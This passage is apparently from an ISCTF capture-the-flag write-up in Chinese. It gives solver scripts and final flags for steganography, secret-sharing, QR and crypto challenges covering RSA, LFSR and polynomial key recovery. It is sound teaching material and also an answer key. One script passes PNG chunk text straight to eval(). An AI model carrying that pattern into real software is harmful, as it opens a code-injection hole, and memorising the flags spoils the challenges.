p = math.pow(1024, i)
s = round(size_bytes / p, 2)
return f"{s} {size_names[i]}"
def get_file_size(file_path):
try:
size = os.path.getsize(file_path)
return format_size(size)
except OSError as e:
return f"Error: {e}"
def main():
image_path = "secret.png"
n = 6
r = ?
start_time = time.time()
print("\n=== Starting image encoding process ===")
if r > n:
print("Error: Threshold 'r' cannot be greater than the total number 'n' of shares")
return
img_flattened, shape = preprocessing(image_path)
secret_imgs, imgs_extra = polynomial(img_flattened, n=n, r=r)
to_save = secret_imgs.reshape(n, *shape)
for i, img in enumerate(to_save):
secret_img_path = f"secret_{i + 1}.png"
Image.fromarray(img.astype(np.uint8)).save(secret_img_path)
img_extra = str(list((imgs_extra[i]))).encode()
insert_text_chunk(secret_img_path, secret_img_path, img_extra)
size = get_file_size(secret_img_path)
print(f"{secret_img_path} saved.", size)
end_time = time.time()
print("=== Image encoding completed. Time elapsed: {:.2f} seconds ===".format(end_time - start_time))
if __name__ == "__main__":
main()
share_secret.py
- 对图像扁平化后,每个像素被当作一个 secret。脚本为每个像素生成多项式的评估值(shares),计算在模 257 上。
- 由于模 257 的范围是 0..256,若某个 share 的像素值等于 256,脚本会把该像素位置的索引加入
imgs_extra,然后把secret_img[indices]置为 0(为了能以 uint8 形式保存为 PNG);imgs_extra被写入 PNG 的tEXtchunk。 - 因此每个
secret_i.png的真实 share 值需要同时读取像素本体和tEXtchunk(把对应索引的位置复原为 256)。
从shares恢复:
根据share_secret.py,我们可以分两步进行逆向操作找出flag:
- 读取
secret_*.png文件的像素与tEXtchunk,把每个 share 恢复为真实值(还原 256),再在模 257 域上对像素并行做 Lagrange 插值(以阈值 r 为 2..6 试探)恢复出候选secret.png。 - 利用
Steg中的模型权重并实现每个INV_block的逆推理(代数逆),对恢复出的secret.png做 DWT -> 构造缺失部分为 0 -> model.inverse -> IWT,得到 payload 比特流,解码出 flag(bits -> bytearray -> RS 解码 -> zlib 解压 -> utf-8 文本)。
恢复 share 时需要读取并合并两个来源的数据(像素数组 +tEXt)。
- 读取
secret_*.png:用Pillow读取像素并扁平化为 1D 数组(int),同时用自定义的 PNG chunk 读取函数读取tEXtchunk 并eval解出索引列表(写入时是str(list(...)).encode()`),然后把相应索引的像素值设回 256。 - Lagrange 插值(模 257):对每个像素位置并行使用 Lagrange,在模
p=257上计算 f(0)。公式:
分母需要取模逆(使用 pow(den, -1, 257))。
- 尝试不同阈值 r(2..6):
share_secret.py中n=6,r未指定。对 r 从 2 到 6 遍历,
Steg/分析:
- 在
main.py中,嵌入流程:- 读取 cover,做 DWT(
DWT())得到cover_input。 make_payload(W,H,C,text,B)把文本转成 payload tensor 并做 DWT 得到payload_input。input_img = torch.cat([cover_input, payload_input], dim=1)送入网络simple_net。- 输出
output,取前 4 * 3 channels(对应输出的一半)做 IWT 得到secret.png。
- 读取 cover,做 DWT(
- 网络采用可逆块
INV_block组成。INV_block的前向实现为:- 拆分输入为
x1, x2;计算t2 = f(x2);y1 = x1 + t2;s1 = r(y1);t1 = y(y1);y2 = e(s1) * x2 + t1;输出cat(y1, y2)。 - 因为表达式明确,可以代数解出逆变换:先由
s1 = r(y1)和t1 = y(y1)计算e(s1),再x2 = (y2 - t1) / e(s1),然后x1 = y1 - f(x2)。
- 拆分输入为
exp
sharing.py:
import os
import struct
import numpy as np
from PIL import Image
def read_png_chunks(filename):
with open(filename, 'rb') as f:
signature = f.read(8)
if signature != b'\x89PNG\r\n\x1a\n':
raise ValueError("Not a PNG file")
chunks = []
while True:
try:
length_bytes = f.read(4)
if len(length_bytes) < 4:
break
length = struct.unpack('>I', length_bytes)[0]
chunk_type = f.read(4)
chunk_data = f.read(length)
crc = f.read(4)
chunks.append((chunk_type, chunk_data))
if chunk_type == b'IEND':
break
except Exception as e:
break
return chunks
def get_extra_data(filename):
chunks = read_png_chunks(filename)
for chunk_type, chunk_data in chunks:
if chunk_type == b'tEXt':
try:
return eval(chunk_data.decode('utf-8'))
except:
pass
return []
def lagrange_interpolation(x, y, x_s, modulus):
k = len(x)
num_pixels = y.shape[1]
result = np.zeros(num_pixels, dtype=np.int64)
for i in range(k):
xi = x[i]
yi = y[i]
numerator = 1
denominator = 1
for j in range(k):
if i == j:
continue
xj = x[j]
numerator = (numerator * (x_s - xj)) % modulus
denominator = (denominator * (xi - xj)) % modulus
inv_denominator = pow(int(denominator), -1, modulus)
term = (yi * numerator * inv_denominator) % modulus
result = (result + term) % modulus
return result
def solve():
shares = []
indices = []
share_data = []
share_extras = []
shape = None
for i in range(1, 7):
filename = f'secret_{i}.png'
if not os.path.exists(filename):
continue
img = Image.open(filename)
data = np.asarray(img).flatten().astype(np.int64)
if shape is None:
shape = np.asarray(img).shape
extra = get_extra_data(filename)
for idx in extra:
data[idx] = 256
share_data.append(data)
share_extras.append(extra)
indices.append(i)
print(f"Loaded share {i}")
share_data = np.array(share_data)
for r in range(2, 7):
print(f"Trying r={r}...")
current_indices = indices[:r]
current_data = share_data[:r]
recovered = lagrange_interpolation(current_indices, current_data, 0, 257)
if np.any(recovered == 256):
print(f"r={r} produced values == 256, likely incorrect.")
recovered = recovered.astype(np.uint8)
recovered_img = recovered.reshape(shape)
out_filename = f'recovered_r{r}.png'
Image.fromarray(recovered_img).save(out_filename)
print(f"Saved {out_filename}")
if __name__ == '__main__':
solve()
sharing.py:读取 secret_*.png 的像素和 tEXt chunk,复原 256 值并用 Lagrange 插值恢复 recovered_r{r}.png。

Steg.py:
import sys
import os
import torch
import torch.nn as nn
import numpy as np
from PIL import Image
import torchvision.transforms as T
sys.path.append(os.path.join(os.path.dirname(__file__), 'Steg'))
from model import Model
from net import simple_net
from block import INV_block
import zlib
from utils import DWT, IWT, bytearray_to_text, bits_to_bytearray, rs
def inv_block_inverse(self, x):
y1, y2 = (x.narrow(1, 0, self.channels * 4),
x.narrow(1, self.channels * 4, self.channels * 4))
s1, t1 = self.r(y1), self.y(y1)
x2 = (y2 - t1) / self.e(s1)
t2 = self.f(x2)
x1 = y1 - t2
return torch.cat((x1, x2), 1)
INV_block.inverse = inv_block_inverse
def simple_net_inverse(self, x):
out = self.inv8.inverse(x)
out = self.inv7.inverse(out)
out = self.inv6.inverse(out)
out = self.inv5.inverse(out)
out = self.inv4.inverse(out)
out = self.inv3.inverse(out)
out = self.inv2.inverse(out)
out = self.inv1.inverse(out)
return out
simple_net.inverse = simple_net_inverse
def model_inverse(self, x):
return self.model.inverse(x)
Model.inverse = model_inverse
def solve():
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
print(f"Using device: {device}")
model = Model(cuda=torch.cuda.is_available())
weight_path = 'Steg/misuha.taki'
state_dicts = torch.load(weight_path, map_location=device)
network_state_dict = {k.replace('model.', ''): v for k, v in state_dicts['net'].items() if 'tmp_var' not in k}
model.model.load_state_dict(network_state_dict)
model.eval()
for r in range(2, 7):
img_path = f'recovered_r{r}.png'
if not os.path.exists(img_path):
continue
print(f"Trying {img_path}...")
img = Image.open(img_path).convert('RGB')
transform = T.Compose([
T.ToTensor(),
])
img_tensor = transform(img).unsqueeze(0).to(device)
dwt = DWT()
iwt = IWT()
y1 = dwt(img_tensor)
y2 = torch.zeros_like(y1).to(device)
inp = torch.cat((y1, y2), 1)
with torch.no_grad():
out = model.inverse(inp)
payload_dwt = out.narrow(1, 12, 12)
payload_img = iwt(payload_dwt)
payload_np = payload_img.cpu().numpy().flatten()
bits = (payload_np > 0.5).astype(int).tolist()
byte_arr = bits_to_bytearray(bits)
print(f"First 20 bytes: {list(byte_arr[:20])}")
found = False
for length in range(130, 2000):
try:
chunk = byte_arr[:length]
decoded = rs.decode(chunk)
dec_text = zlib.decompress(decoded[0])
print(f"SUCCESS with r={r}, len={length}: {dec_text.decode('utf-8')}")
found = True
break
except:
pass
if found:
break
else:
print(f"Failed with r={r}")
if __name__ == '__main__':
solve()
为 INV_block 实现 inverse,为 simple_net 实现 inverse,加载权重 Steg/misuha.taki,对 recovered_r{r}.png 做逆推并解码出文本。
r=3时解出flag

ISCTF{Sh4r3_S3reCTTt_wiTh_Ai_H@@@@}
小蓝鲨的周年庆礼物
Title
出题人: n1tro
院校:山东政法学院
难度:中等
题目描述:
今年是ISCTF的五周年啦,小蓝鲨给大伙准备了点小礼物,但拿礼物前需要动动脑筋先,你能拿到这份惊喜吗?
Idea
附件有一张png图片和一个没有后缀名的文件

对这里没有flag文件进行分析

没有什么规律,尝试xor也没发现有用的信息
在取证比赛中,根据附件的分配,可以使用VC对这里没有flag文件进行挂载,使用nothing is here.png作为密钥文件进行加载

有一个flag.txt,存在零宽字符隐写,进行解密

ISCTF{VC_15_s0OO0O0O_1n73r3571n6!!}
exp
爱玩游戏的小蓝鲨
Title
出题人:落书
院校:平顶山学院
难度:中等
题目描述:
小蓝鲨说 它将永远追随刻律德菈
hint:换行也应该带个下划线,刻律德拉是凯撒但这里不是凯撒。
Idea
直接打开附件会报错

010Editor打开附件,缺失zip文件头,补全文件头50 4B 03 04


打开附件一个py文件,内容是图片的RGB数据

RGB转图片

将图片旋转

题目描述中提到的刻律德菈属于崩坏:星穹铁道的角色
前往米哈游(前面的py文件也提到了米哈游)

发现这个原创架空文字,密文对照表,与我们需要的解密的密文很像,又好像不太对
还需要对密文图片进行镜像翻转

解出密文:
QKEMK
al4t_k4nT_au
Mm3_U0Kv_yzV
94e3_kg_yp3_O0teI
QKEMK{al4t_k4nT_au_Mm3_U0Kv_yzV_94e3_kg_yp3_O0teI}
flag头对应ISCTF
维吉尼亚解密,key:ISCTF

ISCTF{st4r_r4iL_is_Th3_M0St_fuN_94m3_in_th3_W0rlD}
小蓝鲨的二维码
Title
出题人:Alexander
院校:江西警察学院
难度:中等
题目描述:
小蓝鲨说真正的图像算法在于理解它的深层含义
Idea
附件有两张图片

扫一下二维码

一个假flag(T-T...
在enc.png文件末尾发现有一个字符串23xXvfzai

base58解密,得到zigzag,zigzag是按 “之” 字形(锯齿形)路径重新排列 / 遍历数据的算法常用于图像处理、矩阵遍历等

将enc.png把线性读取的像素按 Zigzag 写回 2D
import numpy as np
from PIL import Image
def get_zigzag_coords(n):
coords = []
for i in range(2 * n - 1):
if i % 2 == 0:
x = i if i < n else n - 1
y = 0 if i < n else i - n + 1
while x >= 0 and y < n:
coords.append((x, y))
x -= 1
y += 1
else:
x = 0 if i < n else i - n + 1
y = i if i < n else n - 1
while x < n and y >= 0:
coords.append((x, y))
x += 1
y -= 1
return coords
def solve():
img = Image.open("enc.png")
width, height = img.size
n = width
pixels = np.array(img)
flat_pixels = pixels.reshape(-1, 3)
coords = get_zigzag_coords(n)
new_img1 = np.zeros_like(pixels)
for i, (r, c) in enumerate(coords):
if i < len(flat_pixels):
new_img1[r, c] = flat_pixels[i]
Image.fromarray(new_img1).save("enc_zigzag.png")
print("Saved enc_zigzag.png")
if __name__ == "__main__":
solve()
将enc.png恢复成二维码

将恢复后的二维码图片与flag.png进行双兔异或xor,补全定位角

补全定位角

ISCTF{fbf1a6d6-95e4-4a1c-95fd-7d2f03a16b20}
crypto
Power tower
Title
出题人:yskm
院校:浙江工商职业技术学院
难度:简单
题目描述:你知道拓展欧拉定理吗
Idea
题目:
from Crypto.Util.number import *
import random
from numpy import number
m = b'ISCTF{****************}'
flag = bytes_to_long(m)
n = getPrime(256)
t = getPrime(63)
l = pow(2,pow(2,t),n)
c = flag ^ l
print(t)
print(n)
print(c)
'''
t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247
'''
题目核心:
给定大整数参数 (t, n, c),加密方式是:
这里n能直接分解
n = 127 * 841705194007 * 1005672644717572752052474808610481144121914956393489966622615553
n分解了这题也就没什么难度了
exp
from Crypto.Util.number import long_to_bytes
t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247
p = 127
q = 841705194007
r = 1005672644717572752052474808610481144121914956393489966622615553
phi_n = (p - 1) * (q - 1) * (r - 1)
exponent = pow(2, t, phi_n)
l = pow(2, exponent, n)
flag = long_to_bytes(c ^ l)
print(flag)
#ISCTF{Euler_1s_v3ry|useful!!!!!}
easy_RSA
Title
出题人: yskm
院校:浙江工商职业技术学院
难度:简单
题目描述:我们的爱情像欧拉函数φ(n)——无限趋近却永远达不到n的完美互质,最终只剩周期性的怀念在模n的世界里循环证明
Idea
from Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
N = p*q
e = 65537
msg = bytes_to_long(b"ISCTF{dummy_flag}")
ct1 = pow(msg, e, N)
ct2 = pow(msg, p+q, N)
print(f"{N = }")
print(f"{ct1 = }")
print(f"{ct2 = }")
"""
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789
"""
两个密文:
\(ct_1\):使用标准 RSA 加密,\(ct_1 \equiv m^e \pmod N\)
\(ct_2\):使用非常规指数 \(p+q\) 进行加密,\(ct_2 \equiv m^{p+q} \pmod N\)
- 提供了 \(N, ct_1, ct_2\) 的数值。
- 由于 \(N\) 非常大(2048位),无法直接分解 \(N\) 得到 \(p\) 和 \(q\),因此无法直接计算 \(\phi(N)\)
- 需要利用题目给出的密文 \(ct_2\) 来绕过因数分解
我们已知第二个加密关系式:
根据欧拉函数 \(\phi(N)\) 的定义:
将这个关系代入 \(ct_2\) 的表达式:
根据欧拉定理,若 \(\gcd(m, N) = 1\),则:
因此,\(m^{-\phi(N)}\) 也是 \(1\)。原式化简为:
经过上述推导,问题可转化为拥有同一明文 \(m\)、同一模数 \(N\) 的两组密文:
- \(ct_1 \equiv m^{e_1} \pmod N\),其中 \(e_1 = 65537\)
- \(ct_2 \equiv m^{e_2} \pmod N\),其中 \(e_2 = N + 1\)
这就变成了一个经典的共模攻击。只要 \(\gcd(e_1, e_2) = 1\),通过扩展欧几里得算法,找到两个整数 \(s_1\) 和 \(s_2\),满足:
利用指数运算规则:
从而直接解出明文 \(m\)。
exp
from Crypto.Util.number import *
import gmpy2
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789
e1 = 65537
e2 = N + 1
g, s1, s2 = gmpy2.gcdext(e1, e2)
m = (pow(ct1, s1, N) * pow(ct2, s2, N)) % N
flag = long_to_bytes(m)
print(flag.decode())
#ISCTF{Congratulations_you_master_Mathematical_ability}
小蓝鲨的LFSR系统
Title
出题人:落书
院校:平顶山学院
难度:简单
题目描述:"小蓝鲨是海洋情报局的新晋密码专家,它设计了一个基于LFSR的流密码系统来加密机密信息。这个系统看起来简单高效,但小蓝鲨不知道的是,LFSR在某些情况下可能存在安全隐患。 一天,小蓝鲨的加密系统被神秘的黑客组织""深海幽灵""入侵,他们截获了一段加密信息。作为海洋安全部门的成员,你需要分析这个加密系统,找出潜在的弱点,并解密被截获的信息。"
Idea
题目附件:
#task.py
import secrets
import binascii
def simple_lfsr_encrypt(plaintext, init_state):
mask = [random.randint(0,1) for _ in range(128)]
state = init_state.copy()
for _ in range(256):
feedback = sum(state[i] & mask[i] for i in range(128)) % 2
state.append(feedback)
key = bytes(int(''.join(str(bit) for bit in mask[i*8:(i+1)*8]), 2)
for i in range(16))
keystream = (key * (len(plaintext)//16 + 1))[:len(plaintext)]
return bytes(p ^ k for p, k in zip(plaintext, keystream)), mask
#challenge_output.txt
initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]
outputState = [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1]
ciphertext = '4b3be165a0a0edd67ca8f143884826725107fd42d6a6'
分析附件:
def simple_lfsr_encrypt(plaintext, init_state):
mask = [random.randint(0,1) for _ in range(128)]
# 1. 生成一个随机的 128位 Mask(这是我们需要求解的密钥)
state = init_state.copy()
# 2. 进行了 256 次 LFSR 迭代
for _ in range(256):
# 反馈函数:State 与 Mask 进行点积,模 2(其实就是异或和)
feedback = sum(state[i] & mask[i] for i in range(128)) % 2
state.append(feedback)
# 3. 生成加密密钥
# 注意:这里的 Key 并不是 LFSR 的输出流,而是直接由 Mask 转换成的字节!
key = bytes(int(''.join(str(bit) for bit in mask[i*8:(i+1)*8]), 2)
for i in range(16))
# 4. 异或加密
keystream = (key * (len(plaintext)//16 + 1))[:len(plaintext)]
return bytes(p ^ k for p, k in zip(plaintext, keystream)), mask
key 直接由 mask 生成。如果我们求出了 mask,就能直接算出 key。
- initState:LFSR 运行前的状态(第 0 ~ 127 位)。
- outputState:LFSR 运行过程中产生的反馈位(第 128 ~ 383 位)
代码中的反馈逻辑是线性的:
这是一个典型的线性方程。
将 initState 和 outputState 拼接起来,可形成一个完整的比特流序列 \(S\),总长度为 \(128 + 256 = 384\) 位。
令 \(M = [m_0, m_1, ..., m_{127}]\) 为未知的 Mask 向量。
令 \(S = [s_0, s_1, ..., s_{383}]\) 为已知的状态比特流。
根据代码逻辑,第 \(t\) 次迭代产生的新比特 \(s_{t+128}\) 满足以下关系:
这实际上是一个关于未知数 \(M\) 的线性方程组。求解 128 个未知的 Mask 位,需要至少 128 个方程。题目给了 256 个输出位,完全足够了。
我们可以构建如下矩阵形式 \(A \cdot X = B\):
- 矩阵 A:由滑动窗口截取的已知状态位组成。
- 向量 X:未知的 Mask。
- 向量 B:已知的反馈输出位。
由于这是在二进制域 GF(2) 上,加法即为异或(XOR),乘法即为与(AND)。我们可以使用高斯消元法求解。
exp
import binascii
initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0,
1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0,
0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1,
1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]
outputState = [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1,
1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1,
1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0,
0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1,
1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1,
0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0,
1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1]
ciphertext_hex = '4b3be165a0a0edd67ca8f143884826725107fd42d6a6'
def solve():
full_stream = initState + outputState
N = 128
A = []
B = []
for t in range(N):
row = full_stream[t: t + N]
val = full_stream[t + N]
A.append(row)
B.append(val)
M = [row[:] + [b] for row, b in zip(A, B)]
for i in range(N):
pivot = -1
for j in range(i, N):
if M[j][i] == 1:
pivot = j
break
if pivot == -1:
continue
M[i], M[pivot] = M[pivot], M[i]
for j in range(N):
if i != j and M[j][i] == 1:
for k in range(i, N + 1):
M[j][k] ^= M[i][k]
mask = [row[N] for row in M]
key_bytes = []
for i in range(16):
bits = mask[i * 8: (i + 1) * 8]
byte_val = int("".join(str(b) for b in bits), 2)
key_bytes.append(byte_val)
key = bytes(key_bytes)
print(f"Key: {key.hex()}")
ct = binascii.unhexlify(ciphertext_hex)
keystream_len = len(ct)
keystream = (key * (keystream_len // 16 + 1))[:keystream_len]
plaintext = bytes(c ^ k for c, k in zip(ct, keystream))
print(f"\n{plaintext.decode(errors='ignore')}")
if __name__ == "__main__":
solve()
小蓝鲨的RSA密文
Title
出题人:落书
院校:平顶山学院
难度:中等
题目描述:"小蓝鲨是海洋数学天才,它最近正在深耕RSA领域。你嗤之以鼻,心想RSA不是最基础的密码学知识吗?于是你信誓旦旦的跑到小蓝鲨面前告诉它你已经完全掌握了RSA,并宣称所有的RSA题目你都能做出来。 小蓝鲨意味深长的看了你一眼,并出了一道RSA来考考你。现在,该你向它证明你的实力了。"
Idea
题目附件:
#task.py:
import json, secrets
from Crypto.Util.number import getPrime, bytes_to_long
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
e = 3
N = getPrime(512) * getPrime(512)
a2_high = a2 >> LOW_BITS
aes_key = secrets.token_bytes(16)
m = bytes_to_long(aes_key)
f = a2 * (m * m) + a1 * m + a0
c = (pow(m, e) + f) % N
iv = secrets.token_bytes(16)
cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)
ct = cipher.encrypt(pad(FLAG, 16))
#output.txt:
N = 121288600621198389662246479277632294800423697823363188896668775456771641807233781416525282234787873435904747571468452950479817935684848143651716343606633656969395065588423982440884464542428742861388200306417822228591316703916504170245990423925894477848679490979364923848426643149659758241239900845544537886777
c = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117
a2_high = 9012778
LOW_BITS = 16
a1 = 621315
a0 = 452775142
iv = bf38e64bb5c1b069a07b7d1d046a9010
ct = 8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5
分析:
- e = 3
- N = getPrime(512) * getPrime(512) ,1024位的模数
aes_key是16字节的随机数,对应的整数为 mm。因此 0≤m<21280≤m<2128。- 有一个系数 a2a2,题目只给了它的高位
a2_high,低16位(LOW_BITS)未知。 - f=a2⋅m2+a1⋅m+a0。
- 密文 c=(me+f)(modN)c=(me+f)(modN)。即 c=(m3+a2m2+a1m+a0)(modN)c=(m3+a2m2+a1m+a0)(modN)。
- AES-CBC 模式加密 Flag。
- 我们需要计算出 \(m\)(即 AES Key)来解密 Flag。
- 观察方程:\(m^3 + a_2 m^2 + a_1 m + a_0 \equiv c \pmod N\)。
- 量级分析:
* \(m\) 是128位整数,所以 \(m^3\) 大约是 \(128 \times 3 = 384\) 位。
* \(N\) 是1024位整数。
* 显然 \(m^3 \ll N\)。即使加上 \(a_2 m^2\) 等项(\(a_2\) 大约 \(24+16=40\) 位,\(m^2\) 256位,乘积约296位),总和仍然远小于 \(N\)。
* 因此,模数 \(N\) 在这里是不起作用的。我们可以直接在整数域 \(\mathbb{Z}\) 上列出方程:
$$m^3 + a_2 m^2 + a_1 m + a_0 = c$$
或者移项后:
$$m^3 + a_2 m^2 + a_1 m + (a_0 - c) = 0$$
- 题目给出
a2_high = a2 >> 16。 - 这意味着 a2a2 可以表示为:a2=(a2_high≪16)+La2=(a2_high≪16)+L,其中 LL 是未知的低16位,0≤L<655360≤L<65536。
- 由于 LL 的范围非常小(仅65536种可能),我们可以爆破 LL。
- 遍历 \(L\) 从 \(0\) 到 \(65535\)。
- 对于每一个 \(L\),计算当前的猜测值 \(a_2' = (a2\_high \ll 16) + L\)。
- 此时方程变为关于 \(m\) 的一元三次方程:\(m^3 + a_2' m^2 + a_1 m + (a_0 - c) = 0\)。
- 这是一个单调递增函数(因为 \(m, a_2, a_1\) 均为正数),可以使用二分查找在 \([0, 2^{128}]\) 的范围内快速找到整数解 \(m\)。
- 如果找到了满足方程的整数解 \(m\),将其转换为字节串作为 Key。
- 利用该 Key 和题目提供的
iv、ct进行 AES 解密。得到 Flag。
exp
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
N = 121288600621198389662246479277632294800423697823363188896668775456771641807233781416525282234787873435904747571468452950479817935684848143651716343606633656969395065588423982440884464542428742861388200306417822228591316703916504170245990423925894477848679490979364923848426643149659758241239900845544537886777
c = 3756824985347508967549776773725045773059311839370527149219720084008312247164501688241698562854942756369420003479117
a2_high = 9012778
LOW_BITS = 16
a1 = 621315
a0 = 452775142
iv_hex = "bf38e64bb5c1b069a07b7d1d046a9010"
ct_hex = "8966006c4724faf53883b56a1a8a08ee17b1535e1657c16b3b129ee2d2e389744c943014eb774cd24a5d0f7ad140276fdec72eb985b6de67b8e4674b0bcdc4a5"
target_val = c - a0
def solve_poly_for_m(current_a2, target):
low = 0
high = (1 << 128) - 1
while low <= high:
mid = (low + high) // 2
res = mid ** 3 + current_a2 * (mid ** 2) + a1 * mid
